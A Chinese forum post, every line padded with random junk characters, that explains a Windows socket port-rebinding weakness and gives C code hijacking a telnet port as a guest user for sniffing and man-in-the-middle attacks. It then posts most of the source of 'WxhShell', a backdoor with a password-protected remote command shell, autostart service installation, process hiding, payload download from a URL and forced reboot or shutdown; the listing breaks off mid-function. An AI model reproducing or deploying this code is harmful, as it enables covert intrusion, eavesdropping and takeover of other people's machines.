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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5i0vli /L  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }R9>1u}6  
e0"80"D  
  saddr.sin_family = AF_INET; ]lqe,>  
(v,g=BS,  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ;hgRMkmz4<  
c]/X >8;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); B*@0l:  
S4Q fx6:~h  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Nx;Oz  
-=InGm\Y  
  这意味着什么?意味着可以进行如下的攻击: 20,}T)}Tm  
\H4$9lPk  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 V;LV),R?  
b Y2:g )  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,k9xI<i  
O>@ChQF  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 O`^dy7>{U  
vNDf1B5z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  D_Zt:tzO  
,%T sfB  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4[lym,8C  
Xk(p:^ R  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 YlC$L$%Zd.  
:^En\YcU  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 X( )yhe_  
4T>d%Tt+)  
  #include hnnVp_<]  
  #include Jm`{MzqL  
  #include $xqX[ocor  
  #include    D~zk2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   g QYs,  
  int main() / tG[pg{[  
  { `yYYyB[  
  WORD wVersionRequested; gSk0#Jt  
  DWORD ret; zq'KX/o  
  WSADATA wsaData; h:=W`(n5u  
  BOOL val; {+^&7JX  
  SOCKADDR_IN saddr; Rn$TYCO  
  SOCKADDR_IN scaddr; ._[uSBR'  
  int err; Zs|m_O G  
  SOCKET s; STL+tLJ  
  SOCKET sc;  GUps\:ss  
  int caddsize; 7o7*g 7  
  HANDLE mt; |/X+2K}3  
  DWORD tid;   C <d]0)  
  wVersionRequested = MAKEWORD( 2, 2 ); n[gc`#7|{e  
  err = WSAStartup( wVersionRequested, &wsaData ); Ez+8B|0P  
  if ( err != 0 ) { {U)q)  
  printf("error!WSAStartup failed!\n"); yIu_DFq%  
  return -1; a_ \t(U  
  } O?f?{Jsx  
  saddr.sin_family = AF_INET; u\3=m%1  
   YS bS.tq  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 A~ @x8  
pG^>y0  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); uC|bC#;  
  saddr.sin_port = htons(23); %$&_!  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) WS.lDMYE7  
  { cS%;JV>C  
  printf("error!socket failed!\n"); a] P0PH~  
  return -1; \gGTkH  
  } V X.9mt  
  val = TRUE; Aj*|r  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 XC!Y {lp  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) f_z]kA +H  
  { T2_b5j3i  
  printf("error!setsockopt failed!\n"); E/hO0Ox6  
  return -1; Y^QG\6q  
  } 3~\,VO''  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; H}cq|hodn  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 'd]t@[#  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @5h(bLEP  
;TL>{"z`x  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) GE*%I1?]  
  { v(]dIH  
  ret=GetLastError(); y`Zn{mQ@[  
  printf("error!bind failed!\n"); kA/yL]m^S  
  return -1; :{ Lihe~\  
  } ^g=j`f[T  
  listen(s,2); 6eQa @[.Q  
  while(1) >W6?!ue_  
  { r8>Qs RnU%  
  caddsize = sizeof(scaddr); ub]s>aqy   
  //接受连接请求 v$Xoxp  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); p^s:s-"f\  
  if(sc!=INVALID_SOCKET) ZKJhmk  
  { u =lsH  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); MxqIB(5k  
  if(mt==NULL) y9~:[jB  
  { @!*I mNMI  
  printf("Thread Creat Failed!\n"); 0.&-1pw  
  break; ,7)z avA  
  } Ud_0{%@  
  } xk7VuS *  
  CloseHandle(mt); \;1nEjIA  
  } > .K  
  closesocket(s); lv#L+}T  
  WSACleanup(); ?(Xy 2%v  
  return 0; HHL7z,%f  
  }   &hJQHlyJM0  
  DWORD WINAPI ClientThread(LPVOID lpParam) '>GPk5Nq77  
  { Q[9W{l+  
  SOCKET ss = (SOCKET)lpParam; _~ 3r*j  
  SOCKET sc; p2hPLq  
  unsigned char buf[4096]; ^@)*voP#G  
  SOCKADDR_IN saddr; Yo\%53w/  
  long num; }J6 y NoXu  
  DWORD val; $mxl&Qr>Q;  
  DWORD ret; ]] T,;|B  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _FCg5F2U  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~En]sj  
  saddr.sin_family = AF_INET; ~ E n'X4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); U2 Cmf  
  saddr.sin_port = htons(23); QTU$mC]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8{)N%r  
  { ;P^}2i[q>[  
  printf("error!socket failed!\n"); -YS9u [   
  return -1; :464~tHI[`  
  } 1]"S?  
  val = 100; A#gy[.Bb  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eC@b-q   
  { xmejoOF  
  ret = GetLastError(); CUx-k|\  
  return -1; .ZupsS9l  
  } Hq|{Nt%Q  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4veXg/l  
  { L0*f(H  
  ret = GetLastError(); ++BQ==@  
  return -1; 2p~G][  
  } @2sr/gX^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) cRWYS[O?-  
  { Pu(kCH{  
  printf("error!socket connect failed!\n"); ;Q<2Y#  
  closesocket(sc); v!#koqd1y.  
  closesocket(ss); 4JL]?75  
  return -1; 'jYKfq~_cJ  
  } nq\~`vH|Gd  
  while(1) rxOv YF  
  { vBV_aB1{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Ah;`0Hz;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 X.AE>fx*h  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 hLaQ[9  
  num = recv(ss,buf,4096,0); F#z1 sl'  
  if(num>0) Fnuheb'&m  
  send(sc,buf,num,0); #'I<q  
  else if(num==0) >vDi,qmZ  
  break; ])#?rRw  
  num = recv(sc,buf,4096,0); s6!! ty;Y  
  if(num>0) ITZ}$=   
  send(ss,buf,num,0); {5 (M   
  else if(num==0) vofBS   
  break; :H/Rhx=  
  } $PMD$c  
  closesocket(ss); bQHJ}aCi  
  closesocket(sc); s qO$ka{  
  return 0 ; ,vB nr_D#  
  } :M.]-+(  
B3p79 j  
GmZ2a-M  
========================================================== JykNEMB#  
< Q6  
下边附上一个代码,,WXhSHELL b<BkI""b  
GD4+f|1.*  
========================================================== LAuaowE\v  
%Lom#:L'  
#include "stdafx.h" (R!`Z%  
,#hNHFa'JH  
#include <stdio.h> X]s="^  
#include <string.h> -ug -rdXV  
#include <windows.h> D 1(9/;9  
#include <winsock2.h> HFX,EE  
#include <winsvc.h> _+<AxE9\  
#include <urlmon.h> G#3$sz  
q)N^  
#pragma comment (lib, "Ws2_32.lib") vAtR\ Vh  
#pragma comment (lib, "urlmon.lib") Er|j\(jM  
>iI_bcqF  
#define MAX_USER   100 // 最大客户端连接数  kZ=yb-~  
#define BUF_SOCK   200 // sock buffer K*5Ij]j&  
#define KEY_BUFF   255 // 输入 buffer Y r8gKhv W  
/U="~{*-R  
#define REBOOT     0   // 重启 e'~<uN>  
#define SHUTDOWN   1   // 关机 W,.Exh  
c#a>> V  
#define DEF_PORT   5000 // 监听端口 (]$&.gE.F  
Fyc":{Jd  
#define REG_LEN     16   // 注册表键长度 A s8IjGNs{  
#define SVC_LEN     80   // NT服务名长度 twp~#s:\z  
~/!jKH7`j  
// 从dll定义API ~zFwSF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *enT2Q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MpJ]1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "F?p Y@4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |al'_s}I  
zS `>65}e  
// wxhshell配置信息 >(W\Eh{J  
struct WSCFG { E :UJ"6  
  int ws_port;         // 监听端口 j:0< tj E  
  char ws_passstr[REG_LEN]; // 口令 ~(eD 4"  
  int ws_autoins;       // 安装标记, 1=yes 0=no vH@b  
  char ws_regname[REG_LEN]; // 注册表键名 G4"n`89LK  
  char ws_svcname[REG_LEN]; // 服务名 Se [>z(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k!!d2y6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]C>h_,EZc  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nz Klue  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j^D/ ,SW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7 ;x to =  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 QPW+L*2  
sbV_h;<  
}; g8]$BhRIfr  
BWzo|isv  
// default Wxhshell configuration GX N:=  
struct WSCFG wscfg={DEF_PORT, $~r=I[5'(  
    "xuhuanlingzhe", XW*d\vDun  
    1, 1(/rg  
    "Wxhshell", }LX.gm  
    "Wxhshell", ki]i[cdk  
            "WxhShell Service", A{gniYqvB`  
    "Wrsky Windows CmdShell Service", ,DCrhk  
    "Please Input Your Password: ", fKa]F`p_h  
  1, VKy3tW/_&  
  "http://www.wrsky.com/wxhshell.exe", SKVQ !^o  
  "Wxhshell.exe" Cil1wFBb  
    }; F#|mN0op  
Pa/2])w  
// 消息定义模块 Zrq\:KxX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6W)#F O`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tA-p!#V<k1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v#9Uy}NJ9  
char *msg_ws_ext="\n\rExit."; E\VKlu4  
char *msg_ws_end="\n\rQuit."; .WlZT-  
char *msg_ws_boot="\n\rReboot..."; |qb-iXW=  
char *msg_ws_poff="\n\rShutdown..."; &IFXU2t}  
char *msg_ws_down="\n\rSave to "; <^adt *m  
f4^\iZ{`G  
char *msg_ws_err="\n\rErr!"; {QT:1U \.  
char *msg_ws_ok="\n\rOK!"; sl*&.F,v=  
Oma G|2u  
char ExeFile[MAX_PATH]; 1pTQMf a  
int nUser = 0; J!iK W  
HANDLE handles[MAX_USER];  bRx}ih  
int OsIsNt; }SGb`l  
CMYkxU  
SERVICE_STATUS       serviceStatus; `W%R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B{NGrC`5)  
78E<_UgcB  
// 函数声明 }nWW`:t kx  
int Install(void); W<H<~wf#  
int Uninstall(void); #a!qJeWm0  
int DownloadFile(char *sURL, SOCKET wsh); K}Lu1:~  
int Boot(int flag); Sp@{5  
void HideProc(void); S~{ }j vc  
int GetOsVer(void); /?:q9Wy  
int Wxhshell(SOCKET wsl); sB<y(}u  
void TalkWithClient(void *cs); 2bTM0-  
int CmdShell(SOCKET sock); 3NrWt2?  
int StartFromService(void); i",oPz7  
int StartWxhshell(LPSTR lpCmdLine); ( Uk\O`)m  
zmU>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cnM`ywKW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^ ]SU (kY  
:Q>{Y  
// 数据结构和表定义 ]dnB ,  
SERVICE_TABLE_ENTRY DispatchTable[] = I(+%`{Wv  
{ 3E;<aCG?  
{wscfg.ws_svcname, NTServiceMain}, %F]:nk`  
{NULL, NULL} g #[,4o;  
}; 0vcFX)]yW  
Wp//SV  
// 自我安装 \PK}4<x}  
int Install(void) u=sZFr@m[  
{ 6"La`}B(T8  
  char svExeFile[MAX_PATH]; 4z,n:>oH  
  HKEY key; +qmV|$rmM  
  strcpy(svExeFile,ExeFile); j.UO>1{7  
./}W3  
// 如果是win9x系统,修改注册表设为自启动 _Zbgmasb  
if(!OsIsNt) { ]]|vQA^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u]Dds;~"b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B@,#,-=  
  RegCloseKey(key); yo#fJ`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { # |,c3$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NV9H"fI  
  RegCloseKey(key);  ),f d,  
  return 0; <O]B'Wc [  
    } =kn-F T  
  } \>  
} /@]@Tz@'  
else { pAc "Wo(Q  
GD }i=TK  
// 如果是NT以上系统,安装为系统服务 3 ~\S]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `6y\.6j  
if (schSCManager!=0) axdRV1+s  
{ [2nPr^  
  SC_HANDLE schService = CreateService (J`EC  
  ( Eo_; N c  
  schSCManager, %o#|zaK  
  wscfg.ws_svcname, u$mp%d8  
  wscfg.ws_svcdisp, *x&y24  
  SERVICE_ALL_ACCESS, iFaC[(1@a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z229:L6"  
  SERVICE_AUTO_START, w&LL-~KI+  
  SERVICE_ERROR_NORMAL, HH'5kE0;d  
  svExeFile, |1Pi`^  
  NULL, s F3M= uz  
  NULL, w-?Cg8bq<  
  NULL, x-@6U  
  NULL, aKC3v R0  
  NULL +zSdP2s  
  );  ~b LhI  
  if (schService!=0) `r.  
  { Mt+gg F.  
  CloseServiceHandle(schService); XnV$}T:?X  
  CloseServiceHandle(schSCManager); 3ypf_]<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); firiYL"=44  
  strcat(svExeFile,wscfg.ws_svcname); Be2yS]U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BI 0 A0  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Qb&gKQtt@  
  RegCloseKey(key); F[==vte|  
  return 0; RTvzS]  
    } oHkjMqju  
  } qn~:B7f  
  CloseServiceHandle(schSCManager); 5`[B:<E4  
} w1 tg7^(@  
} Q)}z$h55  
&p:GB_  
return 1; N!^5<2z@eT  
} kS$m$ D  
a1# 'uS9W  
// 自我卸载 ;U$EM+9  
int Uninstall(void) Ems0"e  
{ 2~2j?\AEd.  
  HKEY key; FK.Qj P:  
P};GcV-  
if(!OsIsNt) { uM('R;<^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?FwjbG<  
  RegDeleteValue(key,wscfg.ws_regname); Af7&;8pM  
  RegCloseKey(key); M]M(E) *5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wT-@v,$  
  RegDeleteValue(key,wscfg.ws_regname); rgXD>yu(  
  RegCloseKey(key); K^+}__;]  
  return 0; q. NvwJ  
  } ,N`D{H"F  
} M[,G#GO  
} z+6%Ya&ls  
else { DU1\K  
Gu@Znh-D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); bdkxCt  
if (schSCManager!=0) 1PjqXgN5p  
{ lF.yQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !0 -[}vvU  
  if (schService!=0) '7TT4~F  
  { d3K-|  
  if(DeleteService(schService)!=0) { Q!"W)tD  
  CloseServiceHandle(schService); ,7|Wf %X  
  CloseServiceHandle(schSCManager); I 6Mr[#*  
  return 0; UIi`bbJ  
  } >PMLjXK  
  CloseServiceHandle(schService); 5WG:m'$$  
  } 9V( esveq  
  CloseServiceHandle(schSCManager); ?br4 wl  
} Ba /^CS  
} JLH,:2  
YN 31Lo  
return 1; A J"/T+g_  
} RTRi{p  
DX%D8atrr  
// 从指定url下载文件 SHT^Etri  
int DownloadFile(char *sURL, SOCKET wsh) <P4*7:jX  
{ f!aE/e\  
  HRESULT hr; Qv>rww]  
char seps[]= "/"; >gLLr1L\  
char *token; ?^H1X-;  
char *file; Jdp@3mP  
char myURL[MAX_PATH]; W;@9x1jK X  
char myFILE[MAX_PATH]; ,=Fn6'  
yCG<qQz  
strcpy(myURL,sURL); @%sr#YqY  
  token=strtok(myURL,seps); 1I -LGe[Q  
  while(token!=NULL) l9X\\uG&  
  { T&PLvyBL  
    file=token; |8YP8o  
  token=strtok(NULL,seps); [.`%]Z(  
  } $(U}#[Vie  
J,=: ] t  
GetCurrentDirectory(MAX_PATH,myFILE); bD;c>5t  
strcat(myFILE, "\\"); OlF5~VAbfb  
strcat(myFILE, file); v9R"dc]0h  
  send(wsh,myFILE,strlen(myFILE),0); JDy;Jb  
send(wsh,"...",3,0); I~.d/!>Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <OC|z3na_  
  if(hr==S_OK) .&Ok53]b  
return 0; @"E{gM@B  
else >hbT'Or@  
return 1; {#'M3z=  
V9Gk``F<RZ  
} T11;LSD  
K0Zq )<  
// 系统电源模块 ;&%G)f  
int Boot(int flag) r(::3TF%#q  
{ --9Z  
  HANDLE hToken; Nu%:7  
  TOKEN_PRIVILEGES tkp; .A2u7*h&  
\<R.F  
  if(OsIsNt) { _cW6H B^j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~8 w(M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U\\nSU  
    tkp.PrivilegeCount = 1; ,@'M'S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xFY< ns  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~1yMw.04V  
if(flag==REBOOT) { tuiQk=[ c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bn$}U.m$-  
  return 0; _p`@/[(|  
} s"solPw  
else { @\UoZv(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MlM2(/ok  
  return 0; f; "6I  
} 4fCg{  
  } -=A W. Z o  
  else { ;dh8|ujh  
if(flag==REBOOT) { \O7Vo<B&D  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "<J%@  
  return 0; ToB^/ n[  
} 5@{+V!o,  
else { Mn=5yU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +.b@rU6H  
  return 0; S"z cSkF  
} ]$vJK  
} N3`W%ws`~  
2%DleR'i  
return 1; gxku3<S  
} EdPN=  
F|DKp[<]8  
// win9x进程隐藏模块 ]U,K]y[Bj  
void HideProc(void) ;5.o;|w?!  
{ 6!3Jr  
I:qfB2tL)O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n6a*|rE  
  if ( hKernel != NULL ) 426)H_wx  
  { 8zRb)B+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %ycCNS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :~2An-V  
    FreeLibrary(hKernel); kH43 T  
  } hR$lX8  
IHg)xZ  
return; L#`9# Q  
} v0dFP0.;&  
f~.w2Cna  
// 获取操作系统版本 yO6 _G q{  
int GetOsVer(void) ^!*?vHx:  
{ Z-{!Z;T)z  
  OSVERSIONINFO winfo; (&6C,O~n^.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); | 3`qT#p{  
  GetVersionEx(&winfo); ; YaR|)B  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }bv0~}G4  
  return 1; 7 \ <4LX  
  else ~Lc>~!!t  
  return 0; 6rnehv!p  
} hao0_9q+  
x Qh?  
// 客户端句柄模块 a9E!2o+,  
int Wxhshell(SOCKET wsl) t|X |67W  
{ LaE;{jY  
  SOCKET wsh; %}=$HwN)  
  struct sockaddr_in client; I~R<}volu  
  DWORD myID; w jmZ`UMz  
p 0.?R  
  while(nUser<MAX_USER) n(Up?_  
{ $l&&y?()  
  int nSize=sizeof(client); ~?}/L'q!b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xX'Uq_ Jv  
  if(wsh==INVALID_SOCKET) return 1; ndm19M8Y|  
I_yIVw;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r<oI4px  
if(handles[nUser]==0) 6bg+U`&g  
  closesocket(wsh); 0NSn5Hq  
else *x| <\_+  
  nUser++; L!L/QG|wdf  
  } DJE/u qE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a{h(BI^~  
#^Dc:1,  
  return 0; SPV'0* Z  
} j8os6I  
Ar sMqb  
// 关闭 socket 34C ^vBp  
void CloseIt(SOCKET wsh) LIH>IpamN  
{ J1<fE(X  
closesocket(wsh); %6 <Pt  
nUser--; O#7ldF(  
ExitThread(0); 2t { Cpw  
} s8|#sHT  
HHZ!mYr  
// 客户端请求句柄 kXC.rgal  
void TalkWithClient(void *cs) bE>3D#V<  
{ ABV\:u  
,l<-*yMD  
  SOCKET wsh=(SOCKET)cs; F!>K8q  
  char pwd[SVC_LEN]; 1A- 8,)  
  char cmd[KEY_BUFF]; Hcd>\0  
char chr[1]; i&,U);T  
int i,j; ~,e!t.339  
t%z7#}9$  
  while (nUser < MAX_USER) { IQ{Xj3;?y  
V8&/O)}o  
if(wscfg.ws_passstr) { L1QQU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~+>M,LfK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wZa;cg.-q  
  //ZeroMemory(pwd,KEY_BUFF); (r[<g*+3  
      i=0; A2&&iL=j/  
  while(i<SVC_LEN) { f 5i`B*/  
=zA=D.D2  
  // 设置超时 1MJ]Gh]5  
  fd_set FdRead; ID+'$u &  
  struct timeval TimeOut; nu0bJ:0aLd  
  FD_ZERO(&FdRead); dr6 dK  
  FD_SET(wsh,&FdRead); i`] M2Q   
  TimeOut.tv_sec=8; ,:\2Lf  
  TimeOut.tv_usec=0; l3MbCBX2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qd|*vE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CES FkAj~  
! T,7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *A\NjXJl~  
  pwd=chr[0]; SA>;]6)`(  
  if(chr[0]==0xd || chr[0]==0xa) { .%wEuqW=0  
  pwd=0; )Q xv9:X  
  break; 0acY@_  
  } N2&aU?`e  
  i++; Y0B*.H Ae  
    } mF F]d  
3/rvSR!  
  // 如果是非法用户,关闭 socket IVNNiNN*5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); paBGJ~{=  
} L7Oytdc<  
/#G"'U/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {t/!a0\HS  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <M'IR f/D  
9_>4~!x`  
while(1) { .`'SL''c  
Bhq(bV  
  ZeroMemory(cmd,KEY_BUFF); @I"Aet'XV  
 ,O~2 R  
      // 自动支持客户端 telnet标准   C-Fp)Zs{0  
  j=0; '*,4F'  
  while(j<KEY_BUFF) { ^Js9E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Xi{(1o4%  
  cmd[j]=chr[0]; #6H<JB  
  if(chr[0]==0xa || chr[0]==0xd) { <Ab:yD`K!  
  cmd[j]=0; (Z"Xp{u  
  break; ~$\j$/A8/  
  } ONjc},_  
  j++; O[L8(+Sn  
    } '6 'XBL?  
{hg$?4IyQ  
  // 下载文件 c&Zm>Qo[  
  if(strstr(cmd,"http://")) { g?$9~/h :;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }"&(sYQ*`  
  if(DownloadFile(cmd,wsh)) Ro1' L1:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !F<?he<U  
  else Awh"SU Oh0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =h_gj >  
  } &\X;t|  
  else { {H+?DMh  
I@S<D"af  
    switch(cmd[0]) { xRY5[=97  
  \QMSka>  
  // 帮助 ?@#}%<yEq  
  case '?': { blN1Q%m6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Qx,G3m[}  
    break; .4Ny4CMHZ  
  } o7T|w~F~R  
  // 安装 _uu:)%  
  case 'i': { wwAT@=X*}  
    if(Install()) iE Oyc59  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B7PmG f)b  
    else .-|O"H$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5?fk;Q9+\  
    break; >@L HJ61C  
    } a2 rv4d=  
  // 卸载 ww,c)$  
  case 'r': { 4B y-+C*  
    if(Uninstall()) _[ phs06A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eLYFd,?9  
    else YQ)m?=+J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i@J,u  
    break; \O:xw-eG   
    } $K KaA{0-  
  // 显示 wxhshell 所在路径 W^N"y &  
  case 'p': { +i>q;=~  
    char svExeFile[MAX_PATH]; @ubz?5  
    strcpy(svExeFile,"\n\r"); \fz j fZ1n  
      strcat(svExeFile,ExeFile); 5VTbW   
        send(wsh,svExeFile,strlen(svExeFile),0); []]3"n  
    break; @ tIB'|O  
    } `@e H4}L*  
  // 重启 ( 7?%Hg  
  case 'b': { fA8+SaXW%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Fq9[:  
    if(Boot(REBOOT)) ;gMh]$|"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "P{&UwMmh  
    else { u .2sB6}  
    closesocket(wsh); W$JA4O>b  
    ExitThread(0); 'MUrszOO.e  
    } qc6IH9i`  
    break; %yMzgk[u  
    } `-H:j:U{  
  // 关机 YzZF^q^I  
  case 'd': { .HBvs=i  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (6BCFl:/Q<  
    if(Boot(SHUTDOWN)) Vd0GTpB?1  
